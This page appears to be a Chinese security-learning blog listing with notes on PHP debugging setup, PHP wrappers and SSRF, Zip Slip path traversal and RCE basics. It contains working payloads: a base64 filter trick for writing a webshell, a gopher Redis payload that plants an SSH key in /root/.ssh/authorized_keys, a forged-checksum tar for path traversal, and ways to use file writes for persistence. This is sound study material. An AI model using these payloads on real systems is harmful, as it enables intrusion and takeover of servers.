首页
关于
友链
Search
1
设备部署-NIDS入侵检测系统-Snort&Suricata
5 阅读
2
从方法重写到SQL注入-信呼OA审计
5 阅读
3
CVE-2025-11001
4 阅读
4
设备部署-HIDS入侵检测系统-Elkeid&Wazuh
4 阅读
5
Web入侵分析入口思路
3 阅读
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
登录
Search
标签搜索
学习笔记
蓝队
应急响应
代码审计
设备部署
内存马查杀
IDS
漏洞复现
JumpServer
HFish
雷池WAF
HIDS
Snort
Suricata
NIDS
Yara规则识别样本
ELK日志分析系统
Rookit查杀
容器应急
docker
N0va7
累计撰写
31
篇文章
累计收到
1
条评论
首页
栏目
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
页面
关于
友链
搜索到
6
篇与
的结果
2025-09-19
动调环境搭建
PHPPHP的XDebug调试环境初次配置不懂的话真的很烦人,所以特此记录一下所以可以看到,在用xdebug+phpstorm调试PHP的过程中,是有三个角色的:调试客户端:PHPstorm安装了xdebug需要被调试的PHP触发调试的浏览器所以三个角色放在一台电脑上,不晕才怪。为什么PHP不能像其他语言一样,调试个PHP要这么麻烦的配置。根本原因:看似是本地调试,实际和远程调试没有什么特别大的区别。因为即使是在本地,PHP解析器也是被apache/nginx等中间件调用。 其他的编程语言都是IDE负责去调用调试器,但是PHP是藏在中间件后面的,所以就需要PHPstorm和真正需要被调试的PHP代码进行通信了,于是xdebug就是实现了这个通信机制的一个PHP插件。宝塔搭建我此处是开了一个Ubuntu虚拟机来作为专门动调的为什么选择安装宝塔呢?因为宝塔可以直接安装配套PHP版本的Xdebug,不需要我们自己再去编译配置(我之前被这个整麻了)宝塔安装脚本(建议去官方看):if [ -f /usr/bin/curl ];then curl -sSO https://download.bt.cn/install/install_panel.sh;else wget -O install_panel.sh https://download.bt.cn/install/install_panel.sh;fi;bash install_panel.sh ed8484bec直接去安装自己对应的PHP版本即可然后选择一个PHP版本,我这里选个5.6的版本,找到Xdebug安装即可配置文件配置到这里还没结束,要记得配置一下PHP的配置文件[XDebug] zend_extension=/www/server/php/56/lib/php/extensions/no-debug-non-zts-20131226/xdebug.so ; 开启远程调试功能 xdebug.remote_enable=1 ; 远程调试地址 xdebug.remote_host=192.168.48.1 ; 远程调试端口 xdebug.remote_port=9000 xdebug.idekey=PHPSTORM xdebug.mode=debug ; 在 IDE 上等待确认传入调试连接以的时间(毫秒) xdebug.remote_timeout=2000 ; debug 调试的日志位置 xdebug.remote_log = /tmp/xdebug.log默认配置的话,如果我们编辑器一直处于 Debug 状态,这个时候浏览器访问的网站就会超时出现 502 的错误,这是因为我们 PHP Debug 的时间太长了,浏览器因为服务器挂掉了,所以我们需要配置一下,增加 PHP Debug 的等待时间修改 request_terminate_timeout 时间为 0 即可浏览器安装xdebug helper插件并且将key填进去,这个插件可以让我们有选择性的Debug,而不是所有请求都会DebugPHPStorm配置设置好监听的端口配置远程服务器连接根路径设置为存放网站的根路径,我这是/www/wwwroot配置好对应的路径映射最后将远程代码部署到本地开启调试点亮插件绿标开启监听并打上断点刷新网页即可发现成功Debug
2025年09月19日
3 阅读
0 评论
0 点赞
2025-09-12
SSRF及伪协议的撸点
协议和伪协议协议计算机场景下的协议常常指的是通信协议(⽹络协议)。⽹络协议是通信计算机双⽅必须共同遵从的⼀组约定。如怎么样建⽴连接、怎么样互相识别等。只有遵守这个约定,计算机之间才能相互通信交流。伪协议伪协议其实算是⼀个虚概念,就是并不是所有语⾔、所有产品共⽤的。往往是某个语⾔或者某个程序⾃身,为了解决⾃身内部的通信需求,⾃⾏编制的⼀个协议。平常在⽇常称呼时,也常常有⼈将这两个概念混⽤,⽐如把所有的伪协议都称为协议,或者把所有的协议都称为伪协议。这个问题不⼤。PHP的伪协议官方手册https://www.php.net/manual/zh/wrappers.phpPHP 带有很多内置 URL ⻛格的封装协议,可⽤于类似fopen()、 copy()、 file_exists()和 filesize()的⽂件系统函数。除了这些封装协议,还能通过stream_wrapper_register()来注册⾃定义的封装协议。file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — 安全外壳协议 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流当然不是只有PHP支持这些,其中的部分还有一些语言也支持,比较通用的伪协议基本都支持关于伪协议的利用Trickshttps://blog.csdn.net/cosmoslin/article/details/120695429https://www.jianshu.com/p/8f1576b72420伪协议测试PHP版本allow_url_fopenallow_url_include用法file://>=5.2off/onoff/on?file=file://D:/soft/phpStudy/WWW/phpcode.txtphp://filter>=5.2off/onoff/on?file=php://filter/read=convert.base64-encode/resource=./index.phpphp://input>=5.2off/onon?file=php://input [POST Data]=>zip://>=5.2off/onoff/on?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txtcompress.bzip2://>=5.2off/onoff/on?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2compress.zlib://>=5.2off/onoff/on?file=compress.zlib://D:/soft/phpStudy/WWW/file.gzdata://>=5.2onon?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+PHP伪协议代码审计通解跟踪输⼊点输⼊点进⼊到⽂件系统操作函数:readfile()、file()、file_get_contents()这类函数能够控制参数的开头<?php $input = $_GET['input']; file_get_contents($input."xxx"); //可撸 file_get_contents("xxx".$input); //不可撸 ../../ ?>像这种"xxx".$input开头一般情况下是不行的,但是如果存在更多参数的话可以尝试绕过源码如下:<?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); echo $content; ?>当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。然而这里可以利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:<?php $_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']); base64_decode($_GET['txt']); Base64 解码时,将 4 个 “Base64 编码字符”(每个字符对应 6 比特二进制)还原为 3 个 “原始字节”(每个字节对应 8 比特二进制)当$content包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个字符一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。这个时候后面再加上编码后的一句话木马,就可以getshell了。验证过程如下:$filename='php://filter/convert.base64-decode/resource=s1mple.php'; $content = 'aPD9waHAgcGhwaW5mbygpOw=='; # PD9waHAgcGhwaW5mbygpOw== ===> <?php phpinfo();SSRF是什么SSRF(server-side request forgery) 为服务端请求伪造,是⼀种由攻击者形成服务器端发起的安全漏洞。在⽐较早期的时候,⼤概是2010年到2017年中的时候,ssrf似乎还不是很盛⾏,当时往往只是利⽤这个ssrf去进⾏⼀个反向代理的作⽤,当时,ssrf更多还是本地资源的探测和访问、还有内⽹资源的探测和访问。后面国外有师傅总结,ssrf往往其实是⽀持跨协议的(从http/https到其他协议),从这个时候开始,ssrf开始⼤放异彩,在各个不同的会议和场合都开始有⼈在谈论了。SSRF和CSRF的区别从两点看,攻击的对象是谁,帮助我们发起攻击的对象是谁ssrf攻击的是服务端或者服务端所在的内⽹资源,并且帮助我们发起攻击的是服务端。csrf攻击的是受害者的pc,帮助我们发起攻击的是访问⻚⾯的受害者的浏览器。Curl支持的SSRF协议curl在不同语⾔都有插件或者扩展,所以如果我们在代审的时候,遇到某个ssrf漏洞是调⽤类似curl的模块去进⾏访问的时候,以上协议都可撸。demo代码:<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?>SSRF的利用方式参考文章https://book.hacktricks.wiki/zh/pentesting-web/ssrf-server-side-request-forgery/index.htmlhttps://www.freebuf.com/vuls/262047.html访问内部Web-http/https协议这是最初级的ssrf利⽤了,通过ssrf去访问⼀个开启在127.0.0.1的web应⽤或者开放在内网的web应⽤。很可能开放在内⽹的服务没有进⾏⽐较强的鉴权,那么就可能有⼀些撸点。另外常见的利用是,内⽹存在其他可以直接rce的web服务,可以先通过ssrf探测web指纹,来确定是否存在特定应⽤。当然也有⼀种利⽤⽅式是,直接对内⽹的web服务直接盲打各种rce,也有许多常⻅案例。这种利⽤⽅式在早期的⽹络攻防环境乃⾄现在的⽹络安全环境中,仍然很适⽤。内网端口扫描-http/https协议这个与上⾯探测内网服务类似,利⽤的是⼀种差分攻击(差别分析攻击)。就是有⼀个简单的理论基础"端⼝开放情况下与端⼝不开放情况下",得到返回的时间会差别很⼤。以此,可以⽤来判断端⼝是否开启。SSRF转任意文件读取可利用的协议如下:file //⼏乎通⽤ ldap、zlib、phar、tar、rar //php jar //java jar war tar通过ssrf对本地⽂件进⾏读取,可以⽤来做代码审计、或者配置⽂件读取、密码读取,等等。SSRF攻击内部应用此处特指非Web的应用,比如Redis、MongoDB利用协议:dictgopher这两个协议也被称之为ssrf中的万⾦油协议了,因为他们都是封装协议(裸协议),可以⽤来封装其他协议。Gopher协议的利用gopher://<host>:<port>/<gopher-path>_<TCP数据流> <port>默认为70 发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码但是gopher协议在各个语言中是有使用限制的。语言支持情况PHP–wite-curlwrappers且php版本至少为5.3Java小于JDK1.7Curl低版本不支持Perl支持ASP.NET小于版本3Gopher发送请求在上面的内容中可以看到Gopher协议是被curl所支持的,所以说这个协议可以通过curl命令实现Gopher发送GET请求get型的http数据包如下GET /testg.php?name=xxx HTTP/1.1 Host: localhostGET请求需要进行URL编码才可以正常解析,编码的时候在最后一定要补%0d%0a代表结束,回车换行也是%0d%0a。curl gopher://localhost:4444/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0aGopher发送POST请求这几部分必须包含在内curl gopher://localhost:4444/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a参考文章https://cloud.tencent.com/developer/article/2091368https://www.cnblogs.com/h0cksr/p/16189737.htmlhttps://www.bilibili.com/opus/560221060057317873攻击对象⽬前国内⽹络上⽐较多的被⽤来搭配ssrf打的内部应⽤⼤致有:redisfastCGI/php-fpmhttps://blog.csdn.net/u012206617/article/details/108941738gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEk3QcSQWDzprYHpB0t+7/i8PCsow9F6DkJjVEgNkOvLKNLZ/BN1kt0HqWDLXbUwFScfav6mK4OfeCWZ7RBHUt2BpRA0p1nMPITx/SJ8/YeISGaa91/gwKFTPT1gaosOB4MMFVD8j7VmHskknSKsIiZmWmNHI16zGn7+6sHdJruA3cE7pPUWerkULWUw3jmVCwhdaO5RULUfI955hnio9IKwYieCenIiC8ZnnKJzXb7eB4zp34Jp3xZwbTAvpCx1/2I4LrNOqBnbm2Awdef9Yf484Q5K8Uj11kqKZYZhPKZq6913Hzx1y/krIe3qcBNxHM9W187W3xzRocdx/updNv huangniu@DESKTOP-758692A%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a配置SSH目录 *4 $6 config $3 set $3 dir $11 /root/.ssh/ 这部分内容采用Redis协议格式,它的作用是设置配置文件的存储目录。在Redis协议里,*4 表示接下来有4个参数,$6 表示后面的字符串长度为6,即 config;$3 表示长度为3的字符串 set;$3 表示长度为3的字符串 dir;$11 表示长度为11的字符串 /root/.ssh/。整体指令意思是将配置文件的存储目录设置为 /root/.ssh/。 配置数据库文件名 *4 $6 config $3 set $10 dbfilename $15 authorized_keys 同样是Redis协议格式,*4 表示有4个参数,该指令是把数据库文件名设置为 authorized_keys。在SSH服务中,authorized_keys 文件用于存储允许登录到该服务器的SSH公钥。 保存配置 *1 $4 save *1 表示有1个参数,$4 表示长度为4的字符串 save,此命令用于保存当前的配置信息。 退出操作 *1 $4 quit *1 表示有1个参数,$4 表示长度为4的字符串 quit,该命令用于退出当前的配置操作会话。 综上所述,这一系列指令的主要目的是将SSH公钥配置到服务器的 authorized_keys 文件中,并且指定该文件的存储目录为 /root/.ssh/,最后保存配置并退出操作。SSRF的检测绕过参考文章https://www.secpulse.com/archives/65832.htmlSSRF代码审计案例urllib库在Python中,SSRF并不是很好利用的点import urllib.request url = "abcd://127.0.0.1:8080/test/?test=a" url = "file:///etc/passwd" info = urllib.request.urlopen(url) print(info.read())这⾥有两个协议我们可以利⽤,⼀个是file协议,可以⽤来读取本地⽂件。⼀个是data协议,⽐较有趣⼀点,可以嵌⼊⼀些我们的任意输⼊,但是现在⽹络上似乎没有什么利⽤点。request库requests是⽬前⽤到的最多的http动作库,基本代替了urllib在⽇常产品中的份额。同样可以通过动态调试发现他支持的协议发现仅支持http/https协议。这就注定,他不能与php和java那样,⽅便的进⾏ssrf。CVE-2019-9740造成SSRFhttps://xz.aliyun.com/news/4755from flask import Flask, request, render_template import urllib app = Flask(__name__) @app.route('/') def index(): # put application's code here return "hello world" @app.route('/info') def info(): # put application's code here host = request.args.get('host') method = request.args.get('method') if host is None: return "please input host" url = "http://" + host if method is None: method = "GET" auth = request.args.get('auth') if auth is None: auth = "" headers = {"Authorization": auth} try: req = urllib.request.Request(url=url, method=method.upper(), headers=headers) # req = urllib.request.Request(url=url) info = urllib.request.urlopen(req) return info.read() except urllib.error.URLError as e: print(e) if __name__ == '__main__': app.run(host="0.0.0.0",debug=True) http://139.199.77.35:5000/info?host=127.0.0.1:6379&method=*1%0d%0a$105%0d%0a&auth=auth%20xxxx1234567%0d%0aset%20xxxx%201234*1 $105 /testg.php?name=xxx HTTP/1.1 Host: 127.0.0.1:6379 Auth: auth xxxx1234567 set xxxx 1234
2025年09月12日
3 阅读
0 评论
0 点赞
2025-09-11
文件上传案例
所有语言的隐患-压缩文件处理PHP$file = "/opt/data/upload/testfile.zip"; $outPath = "/opt/data/upload/testfile"; $zip = new ZipArchive(); $openRes = $zip->open($file); if ($openRes === TRUE) { $zip->extractTo($outPath); $zip->close(); }$file = "/opt/data/upload/testfile.zip"; $outPath = "/opt/data/upload/testfile"; $rar_file = rar_open($file); if ($rar_file) { $entries = rar_list($rar_file); foreach ($entries as $entry) { $entry->extract($outPath); } rar_close($rar_file); }Golangpackage main import ( "archive/tar" "compress/gzip" "fmt" "io" "os" "path/filepath" ) func main() { var dst = "" // 不写就是解压到当前目录 var src = "log.tar.gz" UnTar(dst, src) } func UnTar(dst, src string) (err error) { // 打开准备解压的 tar 包 fr, err := os.Open(src) if err != nil { return } defer fr.Close() // 将打开的文件先解压 gr, err := gzip.NewReader(fr) if err != nil { return } defer gr.Close() // 通过 gr 创建 tar.Reader tr := tar.NewReader(gr) // 现在已经获得了 tar.Reader 结构了,只需要循环里面的数据写入文件就可以了 for { hdr, err := tr.Next() switch { case err == io.EOF: return nil case err != nil: return err case hdr == nil: continue } // 处理下保存路径,将要保存的目录加上 header 中的 Name // 这个变量保存的有可能是目录,有可能是文件,所以就叫 FileDir 了…… dstFileDir := filepath.Join(dst, hdr.Name) // 根据 header 的 Typeflag 字段,判断文件的类型 switch hdr.Typeflag { case tar.TypeDir: // 如果是目录时候,创建目录 // 判断下目录是否存在,不存在就创建 if b := ExistDir(dstFileDir); !b { // 使用 MkdirAll 不使用 Mkdir ,就类似 Linux 终端下的 mkdir -p, // 可以递归创建每一级目录 if err := os.MkdirAll(dstFileDir, 0775); err != nil { return err } } case tar.TypeReg: // 如果是文件就写入到磁盘 // 创建一个可以读写的文件,权限就使用 header 中记录的权限 // 因为操作系统的 FileMode 是 int32 类型的,hdr 中的是 int64,所以转换下 file, err := os.OpenFile(dstFileDir, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode)) if err != nil { return err } n, err := io.Copy(file, tr) if err != nil { return err } // 将解压结果输出显示 fmt.Printf("成功解压: %s , 共处理了 %d 个字符\n", dstFileDir, n) // 不要忘记关闭打开的文件,因为它是在 for 循环中,不能使用 defer // 如果想使用 defer 就放在一个单独的函数中 file.Close() } } return nil } // 判断目录是否存在 func ExistDir(dirname string) bool { fi, err := os.Stat(dirname) return (err == nil || os.IsExist(err)) && fi.IsDir() }Pythondef extract(tar_path, target_path): try: tar = tarfile.open(tar_path, "r:gz") file_names = tar.getnames() for file_name in file_names: tar.extract(file_name, target_path) tar.close() except Exception, e: raise Exception, e分析总结通过上面的代码,我们是否能发现存在隐患的地方?当解压缩时,如果构造恶意的压缩包,那么是不是会解压到其他目录去,这些代码都没有对压缩文件的文件名进行校验,只进行了简单的拼接,在这种情况下不可避免的会出现漏洞,这种漏洞被称为Zip Sliper。https://xz.aliyun.com/news/2064?time__1311=eqfx97DteiwxlxGg%3DDy0KGOKIQO0imioD&u_atoken=81a16815aa382e6b3e668a8750005d8f&u_asig=ac11000117413163484324005e0071CVE-2021-38197下面就看一个典型的Zip Sliper漏洞git clone https://github.com/gen2brain/go-unarr.git git log # 回滚存在漏洞的版本 git reset --hard fa2f5a7a6f1b58aa07dc6eabc3f51f87972aeaa1// Extract extracts archive to destination path func (a *Archive) Extract(path string) (contents []string, err error) { for { e := a.Entry() if e != nil { if e == io.EOF { break } err = e return } name := a.Name() contents = append(contents, name) data, e := a.ReadAll() if e != nil { err = e return } dirname := filepath.Join(path, filepath.Dir(name)) os.MkdirAll(dirname, 0755) e = ioutil.WriteFile(filepath.Join(dirname, filepath.Base(name)), data, 0644) if e != nil { err = e return } } return }ioutil.WriteFile(filepath.Join(dirname, filepath.Base(name)), data, 0644)可以看到,解压的时候直接获取tar⾥⾯的⽂件名,然后读取内容,紧接着,直接进⾏filepath.Join⽂件名拼接,没有对⽂件名进⾏任何校验,就出现了路径穿越写⼊⽂件。实战场景下如何构造恶意压缩包如果有一个上传压缩包的接口,它支持压缩包上传之后解析配置文件,那么我们如何利用?首先思考三个点:上传之后的文件名需要是我们可控的解压如果能解压到任意目录就能构成利用解压文件中能否包含../../要解决上面的三个点,需要解决两个技术点:能否构造恶意的压缩包内容,文件名包含../../这种恶意的压缩包能否被正常解压构造恶意tar包tar包检测算法以tar包为例http://blog.chinaunix.net/uid-20357359-id-1963469.html struct tar_header { char name[100]; char mode[8]; char uid[8]; char gid[8]; char size[12]; char mtime[12]; char chksum[8]; char typeflag; char linkname[100]; char magic[6]; char version[2]; char uname[32]; char gname[32]; char devmajor[8]; char devminor[8]; char prefix[155]; char padding[12]; };⼀个tar包要经过校验,必须有满⾜条件的header。tar包中主要的校验来⾃于⽂件size⼤⼩、checksum校验和。⼤⼩好解决,不赘述,不改动⽂件⻓度即可。主要是校验和,解决了校验和,就解决了问题1和3。size为⽂件⼤⼩的⼋进制字节表示,例如⽂件⼤⼩为90个字节,那么这⾥就是⼋进制的90,即为132。其中,⽂件⼤⼩,修改时间,checksum都是存储的对应的⼋进制字符串,字符串最后⼀个字符为空格字符checksum的计算⽅法为除去checksum字段其他所有的512-8共504个字节的ascii码相加的值再加上256(checksum当作⼋个空格,即8*0x20)构造恶意tar包tar -cvf 1.tar 1111111111111111111111111111111111111.txt # 文件名尽量长,便于我们构造路径 ⽤010editor打开tar包,查看checksum。014010就是checksum的八进制值,也是我们要修改的基址修改tar包中的⽂件名和校验和,这⾥我需要写⼀个计算新的校验和的python⼩脚本,新的校验和=基址+偏移量def check(string): checksum = 0 for x in string: checksum+=ord(x) print(checksum) return checksum def main(): str1 = "1111111111111111111111111111111111111.txt" ori_checksum = check(str1) base = 0o014010 str2 = "../../../../../../../../../../../tmp/evil" checksum2 = check(str2) final = checksum2 - ori_checksum + base print("%o"%final) if __name__ == '__main__': main()运⾏后即可拿到新的⼋进制基址014216,把相应数据填⼊010editor即可。tar -tvf 1.tar可以看到已经解析成一个正确的tar包了开源工具构造tar包https://github.com/jwilk/traversal-archives?tab=readme-ov-file尝试tar命令解压tar -zvxf 1.tar可以看到tar命令是无法解压的,它在很早之前就修复了这个bughttps://paper.seebug.org/103/实际场景-第三方库解压除了上面的那个CVE,我自己也找了一个存在任意文件写入漏洞的第三方库,解压代码如下:package extract import ( "archive/tar" archivezip "archive/zip" "compress/gzip" "errors" "fmt" "io" "os" "path/filepath" ) // Extract is the interface to extract zip and tar.gz archives type Extract interface { Unzip(src, dest string) error UntarGz(src, dest string) error } type extractor struct{} // NewExtractor returns a new extractor func NewExtractor() Extract { return &extractor{} } // UntarGz extract the given source to the destination folder func (e *extractor) UntarGz(src, dest string) error { gzipStream, err := os.Open(src) if err != nil { return err } defer func(gzipStream *os.File) { _ = gzipStream.Close() }(gzipStream) uncompressedStream, err := gzip.NewReader(gzipStream) if err != nil { return fmt.Errorf("ExtractTarGz: NewReader failed") } tarReader := tar.NewReader(uncompressedStream) for { header, err := tarReader.Next() if errors.Is(err, io.EOF) { break } if err != nil { return fmt.Errorf("ExtractTarGz: Next() failed: %s", err.Error()) } switch header.Typeflag { case tar.TypeDir: if err := os.Mkdir(filepath.Join(dest, header.Name), 0755); err != nil { return fmt.Errorf("ExtractTarGz: Mkdir() failed: %s", err.Error()) } case tar.TypeReg: outFile, err := os.Create(filepath.Join(dest, header.Name)) if err != nil { return fmt.Errorf("ExtractTarGz: Create() failed: %s", err.Error()) } if _, err := io.Copy(outFile, tarReader); err != nil { return fmt.Errorf("ExtractTarGz: Copy() failed: %s", err.Error()) } _ = outFile.Close() default: return fmt.Errorf( "ExtractTarGz: uknown type: %s in %s", string(header.Typeflag), header.Name) } } return nil } // Unzip extracts the given source to the destination folder func (e *extractor) Unzip(src, dest string) error { r, err := archivezip.OpenReader(src) if err != nil { return err } defer func() { if err := r.Close(); err != nil { panic(err) } }() _ = os.MkdirAll(dest, 0755) // Closure to address file descriptors issue with all the deferred .Close() methods extractAndWriteFile := func(f *archivezip.File) error { rc, err := f.Open() if err != nil { return err } defer func(rc io.ReadCloser) { _ = rc.Close() }(rc) path := filepath.Join(dest, f.Name) if f.FileInfo().IsDir() { _ = os.MkdirAll(path, f.Mode()) } else { _ = os.MkdirAll(filepath.Dir(path), f.Mode()) f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode()) if err != nil { return err } defer func(f *os.File) { _ = f.Close() }(f) _, err = io.Copy(f, rc) if err != nil { return err } } return nil } for _, f := range r.File { err := extractAndWriteFile(f) if err != nil { return err } } return nil } path := filepath.Join(dest, f.Name)可以看到这里也是直接通过拼接来解压文件的,所以我们只要构造一个恶意的压缩包就能实现任意路径下的文件写入任意写的利用一个任意写文件的漏洞,在Linux可以做些什么?写入Webshellwebshell主要配合动态脚本⽐如php、jsp之类的使⽤,像是Go这种编译型的语言就不行了它们的优点是需要的权限低。缺点是需要知道web路径。还需要配合web容器解析。写入ssh公钥需要权限配合,主要需要运⾏web容器的⽤户有ssh登陆权限,需要开放ssh外联。将本机的公钥存储到服务器的~/.ssh/authorized_keys⽬录下。存储后直接ssh免密登陆。计划任务需要权限配合,⼀般是root才能写⼊到计划任务的⽬录。/var/spool/cron/ /etc/crontab/将想执⾏的bash命令按指定格式存⼊即可。Go源码审计:从上传到RCE任意文件上传漏洞漏洞上传点为:/*/upload多个上传处均采⽤这⼀接⼝,对后缀没有做限制,但是在Go环境下后缀不起作用,所以得配合路径穿越来组合达到RCE的效果路径穿越与一些脚本语言/解释性语言不同,Go这类编译型语言的Web应用,对于文件的处理常常是如下的方式:var byte[] content var string filename var string dst dst = upload_dir + filename os.open(dst).write(content)这⼀点与php等语⾔不相同,php等语⾔会有tmp_name作为临时⽂件名,之后的写⼊常常需要类似move_uploaded_file的函数来⽀持,在这种情况下,⼀般程序员会对⽂件名进⾏⼀个basename的操作。⽽go等编译型语⾔,filename、content都是通过程序员⾃⼰写的代码来获取,并且⽂件也如也常常⽤io、File等基础库函数,故经常出现漏检测的问题。所以在遇到go、py的等语⾔写的web应⽤的时候,这是⼀个值得关注的点,常常有路径穿越的漏洞出现。路径穿越+文件上传的坑点路径穿越+文件上传基本等于任意写了,所以任意写能实现的ssh公钥写入、webshell写入、定时任务写入它理论上都能实现但是,要实现任意写的效果,要注意一个权限问题,启动web应⽤的⽤户权限!路径穿越+文件上传还能做什么程序覆盖linux与windows不同的⼀点是,当程序被执⾏后,程序⽂件已经完全载⼊到内存中,硬盘上⽂件是可以删除的。(常常被僵⽊蠕利⽤)⾸先可以考虑,覆盖掉web应⽤的可执⾏程序,采取DDOS等⽅式迫使服务器或者应⽤重启,执⾏我们的恶意程序。另⼀个tip是,在linux下后台驻留的程序常常⽤supervisord来守护的,如果程序挂掉,会⾃动重启。详情可以参考supervisord的配置。成功覆盖掉⽂件后,等待重启即可但是采用这种方式会导致原来的程序失效,可能会造成不可逆的损失配置文件覆盖如果我们不想等待,还有什么好的⽅式嘛?可以尝试配置⽂件覆盖,在编译后的套件服务中,常常有⼀个功能是check服务器的状态,check服务本身的状态。这个时候,它可能动态地去获取配置⽂件,并执⾏配置⽂件的内容。动态执行这⾥的动态执⾏指的是,我们可以通过应⽤中存在的某个功能,该功能会触发执⾏,跟配置文件覆盖有点像,只是我们覆盖的是直接被执⾏的⽂件。但是这个覆盖需要权限,如果没有对应的目录的权限的话也是覆盖不了的
2025年09月11日
1 阅读
0 评论
0 点赞
2025-09-11
RCE的本质
RCE的概念与区别Remote Code Execute 远程代码执行此处我们讲到的RCE不是由其他漏洞产⽣的外部代码(⾮预设代码)执⾏,比如说:反序列化、远程文件包含、Webshell上传、SSTI等因为需求设计,程序代码⾥⾯有时候也会把⽤户的输⼊作为代码的⼀部分进⾏执⾏,也就造成了远程代码执⾏漏洞。一句话来说就是:一段当前语言代码的字符串被动态执行,或者是其他语言的代码被放入沙箱执行了PHPPHP中可以远程代码执行的函数有很多,如果我们的输入可以走到这些函数作为参数,那么就有可能出现远程代码执行eval() //把字符串作为PHP代码执⾏ assert() //检查⼀个断⾔是否为 FALSE,可⽤来执⾏代码 preg_replace() //执⾏⼀个正则表达式的搜索和替换 call_user_func() //把第⼀个参数作为回调函数调⽤ call_user_func_array() //调⽤回调函数,并把⼀个数组参数作为回调函数的参数 array_map() //为数组的每个元素应⽤回调函数 $a($b) //动态函数PythonPython可以远程代码执行的函数如下:exec(string) # Python代码的动态执⾏ eval(string) # 返回表达式或代码对象的值 execfile(string) # 从⼀个⽂件中读取和执⾏Python脚本JavaJava中可以直接执行代码的函数基本没有,都是调用反序列化来动态执行字符串,所以目前没有这种函数Remote Command Execte 远程命令执行这种漏洞出现的原因在于系统/应用从设计上需要给用户提供指定的远程命令操作的接口,比如说路由器等设备。这种漏洞出现的情况仅当Web应用程序代码包含操作系统调用(外壳程序、Shell)并且调用中使用了用户输入时才可能进行OS命令注入攻击。它们不是基于特定语言的,命令注入漏洞可能会出现在所有让用户调用系统外壳命令的语言中一句话来说就是:⼀段输⼊的字符串被引⼊了执⾏外部命令的函数,并且没过过滤。PHPexec — 执⾏⼀个外部程序 passthru — 执⾏外部程序并且显示原始输出 proc_open — 执⾏⼀个命令,并且打开⽤来输⼊/输出的⽂件指针。 shell_exec — 通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回 system — 执⾏外部程序,并且显示输出Pythonos.system() #执⾏系统指令 os.popen() #popen()⽅法⽤于从⼀个命令打开⼀个管道 subprocess.call #执⾏由参数提供的命令JavaRuntime.getRuntime().exec() ProcessBuilder()Shell相关基础知识参考文章https://www.jianshu.com/p/410cd35e642f管道command1 | command2 前⼀个命令的输出作为后⼀个命令的输⼊重定向command1 < input.txt 将input.txt的内容读出来重定向作为command1的参数 command2 > out.txt 将command2的输出重定向到out.txt中fdlinux下的⽂件描述符(file descriptor)是linux下⼀个重要的进程概念(本质上是⼀个索引)。文件描述符(File Descriptor,简称FD)是Linux系统中用于访问文件或其他输入输出资源(如管道、网络套接字等)的一种抽象标识。Linux系统中⼀切皆可以看成是⽂件,⽂件⼜可分为:普通⽂件、⽬录⽂件、链接⽂件和设备⽂件。在操作这些所谓的⽂件的时候,我们每操作⼀次就找⼀次名字,这会耗费⼤量的时间和效率。所以Linux中规定每⼀个⽂件对应⼀个索引,这样要操作⽂件的时候,我们直接找到索引就可以对其进⾏操作了。⽂件描述符(file descriptor)就是内核为了⾼效管理这些已经被打开的⽂件所创建的索引。$$ --> linux下当前进程的pid /proc --> linux伪⽂件系统 